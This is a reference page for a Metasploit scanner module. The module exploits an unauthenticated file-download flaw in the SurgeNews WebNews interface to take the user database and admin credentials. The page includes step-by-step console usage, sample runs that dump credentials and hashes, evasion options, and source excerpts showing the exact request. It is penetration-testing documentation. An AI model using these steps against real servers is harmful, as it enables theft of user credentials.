SurgeNews User Credentials - Metasploit
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Module Overview
Name: SurgeNews User Credentials
Module: auxiliary/scanner/http/surgenews_user_creds
Source code: modules/auxiliary/scanner/http/surgenews_user_creds.rb
Disclosure date: 2017-06-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 9080
List of CVEs: -
This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files. This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users. This module has been tested successfully on SurgeNews version 2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/surgenews_user_creds
msf auxiliary(surgenews_user_creds) > show options
... show and set options ...
msf auxiliary(surgenews_user_creds) > set RHOSTS ip-range
msf auxiliary(surgenews_user_creds) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(surgenews_user_creds) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(surgenews_user_creds) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(surgenews_user_creds) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files.
This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users.
Vulnerable Application
SurgeNews is a high performance, fully threaded, next generation News Server with integrated WebNews interface.
This module has been tested successfully on:
- SurgeNews version 2.0a-13 on Windows 7 SP 1.
- SurgeNews version 2.0a-12 on Ubuntu Linux.
Installers:
Verification Steps
- Start
msfconsole - Do:
use auxiliary/scanner/http/surgenews_user_creds - Do:
set rhosts [IP] - Do:
run - You should get credentials
Scenarios
msf > use auxiliary/scanner/http/surgenews_user_creds
msf auxiliary(surgenews_user_creds) > set rhosts 172.16.191.133 172.16.191.166
rhosts => 172.16.191.133 172.16.191.166
msf auxiliary(surgenews_user_creds) > run
[+] Found administrator credentials (admin:admin)
SurgeNews User Credentials
==========================
Username Password Password Hash Admin
-------- -------- ------------- -----
admin admin true
qwerty@bt {ssha}BuFLjIFUUSy1IltX3AuN420qV2ZFU7EL false
user@bt {ssha}HFTkDsnNlLiaHN+sIS9VQarVGGXmYISn false
[+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.133_surgenews.user.c_633569.txt
[*] Scanned 1 of 2 hosts (50% complete)
[+] Found administrator credentials (test:test)
[+] Found user credentials (zxcv@win-sgbsd5tqutq:zxcv)
SurgeNews User Credentials
==========================
Username Password Password Hash Admin
-------- -------- ------------- -----
asdf@win-sgbsd5tqutq {ssha}8ytixKjxf3kaBc6T471R1Re/C8MUnKnF false
test test true
test@win-sgbsd5tqutq {ssha}Vw8EkFxAJuiZrb98Fz+sdr/yEEmBZ2Jc false
test@win-sgbsd5tqutq {ssha}j4teSf4CgA3+XVRJscFHyqoOQJRoLg4K false
zxcv@win-sgbsd5tqutq zxcv false
[+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.166_surgenews.user.c_077983.txt
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the scanner/http/surgenews_user_creds auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/surgenews_user_creds
msf6 auxiliary(scanner/http/surgenews_user_creds) > show info
Name: SurgeNews User Credentials
Module: auxiliary/scanner/http/surgenews_user_creds
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-06-16
Provided by:
bcoles <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a vulnerability in the WebNews web interface of
SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated
users to download arbitrary files from the software root directory;
including the user database, configuration files and log files. This
module extracts the administrator username and password, and the
usernames and passwords or password hashes for all users. This
module has been tested successfully on SurgeNews version 2.0a-13 on
Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux.
References:
http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail
Module Options
This is a complete list of options available in the scanner/http/surgenews_user_creds auxiliary module:
msf6 auxiliary(scanner/http/surgenews_user_creds) > show options
Module options (auxiliary/scanner/http/surgenews_user_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/surgenews_user_creds auxiliary module:
msf6 auxiliary(scanner/http/surgenews_user_creds) > show advanced
Module advanced options (auxiliary/scanner/http/surgenews_user_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/surgenews_user_creds module can do:
msf6 auxiliary(scanner/http/surgenews_user_creds) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/surgenews_user_creds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/surgenews_user_creds) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
55: @tries += 1
56: vprint_status "Retrieving file: #{file}"
57: res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'),
58: 'vars_get' => { 'cmd' => 'part', 'fname' => file }
59: if !res
60: vprint_error 'Connection failed'
61: elsif res.code == 550
62: vprint_error "Could not find file '#{file}'"
63: elsif res.code == 200 && res.body =~ /550 Key: No key activated/
64: # unregistered software throws an error once in every ~20 requests
65: # try again...
Could not find file '<FILE>'
Here is a relevant code snippet related to the "Could not find file '<FILE>'" error message:
57: res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'),
58: 'vars_get' => { 'cmd' => 'part', 'fname' => file }
59: if !res
60: vprint_error 'Connection failed'
61: elsif res.code == 550
62: vprint_error "Could not find file '#{file}'"
63: elsif res.code == 200 && res.body =~ /550 Key: No key activated/
64: # unregistered software throws an error once in every ~20 requests
65: # try again...
66: if @tries >= max_retries
67: vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"
Failed to retrieve file '<FILE>' after max retries (<MAX_RETRIES>)
Here is a relevant code snippet related to the "Failed to retrieve file '<FILE>' after max retries (<MAX_RETRIES>)" error message:
62: vprint_error "Could not find file '#{file}'"
63: elsif res.code == 200 && res.body =~ /550 Key: No key activated/
64: # unregistered software throws an error once in every ~20 requests
65: # try again...
66: if @tries >= max_retries
67: vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})"
68: else
69: vprint_status 'Retrying...'
70: return read_file file
71: end
72: elsif res.code == 200 && !res.body.empty?
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
71: end
72: elsif res.code == 200 && !res.body.empty?
73: vprint_good "Found #{file} (#{res.body.length} bytes)"
74: data = res.body
75: else
76: vprint_error 'Unexpected reply'
77: end
78: @tries = 0
79: data
80: end
81:
Found no administrator credentials
Here is a relevant code snippet related to the "Found no administrator credentials" error message:
125: # then the password hasn't been updated since install.
126: # Retrieve the credentials from install.log instead.
127: admin = parse_log read_file 'install.log' if admin.nil?
128:
129: if admin.nil?
130: vprint_error 'Found no administrator credentials'
131: else
132: print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})"
133: cred_table << [admin['username'], admin['password'], nil, true]
134:
135: credential_data = { origin_type: :service,
Found no user credentials in nwauth.add
Here is a relevant code snippet related to the "Found no user credentials in nwauth.add" error message:
148: end
149:
150: # Read user credentials from nwauth.add
151: users = parse_user_db read_file 'nwauth.add'
152: if users.nil?
153: vprint_error 'Found no user credentials in nwauth.add'
154: else
155: vprint_status "Found #{users.length} users in nwauth.add"
156: end
157:
158: users.each do |user|
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #11234 Merged Pull Request: revisionism
- #8577 Merged Pull Request: Add SurgeNews User Credentials scanner module
References
- CVE: Not available
- http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail
See Also
Check also the following modules related to this module:
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- auxiliary/gather/apache_rave_creds
- auxiliary/gather/asterisk_creds
- auxiliary/gather/doliwamp_traversal_creds
- auxiliary/gather/eaton_nsm_creds
- auxiliary/gather/hp_snac_domain_creds
- auxiliary/gather/teamtalk_creds
- auxiliary/gather/trackit_sql_domain_creds
- auxiliary/scanner/http/manageengine_deviceexpert_user_creds
- auxiliary/scanner/http/novell_mdm_creds
- auxiliary/scanner/http/wordpress_multicall_creds
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/http/dlink_user_agent_backdoor
- auxiliary/scanner/http/drupal_views_user_enum
- auxiliary/scanner/http/gitlab_graphql_user_enum
- auxiliary/scanner/http/gitlab_user_enum
- auxiliary/scanner/http/jira_user_enum
- auxiliary/scanner/http/sap_businessobjects_user_brute
- auxiliary/scanner/http/sap_businessobjects_user_brute_web
- auxiliary/scanner/http/sap_businessobjects_user_enum
- auxiliary/scanner/http/squiz_matrix_user_enum
- auxiliary/scanner/http/synology_forget_passwd_user_enum
- auxiliary/scanner/http/symantec_brightmail_ldapcreds
Authors
bcoles
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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